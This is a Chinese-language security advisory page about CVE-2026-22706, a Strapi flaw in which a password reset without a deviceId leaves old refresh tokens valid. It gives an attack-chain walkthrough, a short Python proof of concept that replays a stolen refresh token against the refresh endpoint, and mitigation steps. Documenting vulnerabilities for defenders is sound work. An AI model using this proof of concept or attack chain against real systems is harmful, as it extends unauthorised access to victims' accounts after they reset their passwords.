IPBUF安全漏洞报告
English
CVE-2026-22706 CVSS 6.5 中危

CVE-2026-22706 Strapi密码重置未失效刷新令牌漏洞

披露日期: 2026-05-14

漏洞信息

漏洞编号
CVE-2026-22706
漏洞类型
会话管理漏洞
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Strapi

相关标签

会话管理Strapi身份验证绕过访问控制失效Web安全

漏洞概述

Strapi 5.33.3之前版本存在会话管理缺陷。在用户重置或修改密码时,若未提供deviceId,系统不会使旧的刷新令牌失效。攻击者可利用此前窃取的刷新令牌在密码更新后继续生成访问令牌,维持未授权访问长达30天,导致密码重置机制失效。

技术细节

该漏洞源于Strapi的users-permissions及admin认证控制器的逻辑缺陷。在密码修改或重置流程中,刷新令牌的撤销逻辑被绑定在调用方提供的`deviceId`参数上。当请求未携带此参数时,系统不会主动失效该用户的所有活跃会话。因此,若攻击者此前已窃取到受害者的有效刷新令牌,即便受害者后续进行了密码重置操作,攻击者仍可利用该令牌持续向服务器申请新的访问令牌。由于刷新令牌默认有效期长达30天,这种绕过使得凭证轮转机制失效,攻击者可实现未授权的持久性访问。

攻击链分析

STEP 1
1. 令牌窃取
攻击者通过XSS、网络嗅探或日志泄露等方式,获取到受害者的有效Refresh Token。
STEP 2
2. 用户重置密码
受害者察觉异常或定期修改密码,向服务器发起密码重置请求。由于请求未包含deviceId参数(漏洞触发条件),服务器未执行令牌撤销逻辑。
STEP 3
3. 令牌复用
攻击者在受害者修改密码后,立即使用之前窃取的Refresh Token向服务器的刷新端点发起请求。
STEP 4
4. 持久化访问
服务器验证Refresh Token有效,签发新的Access Token。攻击者成功绕过密码重置的防御机制,继续以受害者身份操作账户。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration TARGET_URL = "http://vulnerable-strapi-instance.com" API_ENDPOINT = f"{TARGET_URL}/api/auth/refresh-token" # Or /admin/refresh-token # Attacker's stolen refresh token (obtained prior to password reset) stolen_refresh_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." print("[*] Attempting to use stolen refresh token after password reset...") # PoC Request: Attempt to refresh access token using the old refresh token payload = { "refreshToken": stolen_refresh_token } try: response = requests.post(API_ENDPOINT, json=payload) if response.status_code == 200: data = response.json() if "jwt" in data or "token" in data: print("[+] Vulnerability Confirmed!") print(f"[+] Old refresh token is still valid.") print(f"[+] New Access Token received: {data.get('jwt', data.get('token'))[:20]}...") else: print("[-] Unexpected response format.") else: print("[-] Request failed. System might be patched or token expired naturally.") print(f"Status Code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}")

影响范围

Strapi < 5.33.3

防御指南

临时缓解措施
在无法立即升级补丁的情况下,管理员应手动干预,通过修改数据库直接清除所有用户的refresh_token哈希值,强制全站用户下线并重新登录。同时,建议在前端代码中确保修改密码接口始终携带deviceId参数(作为临时缓解策略,直到应用补丁)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表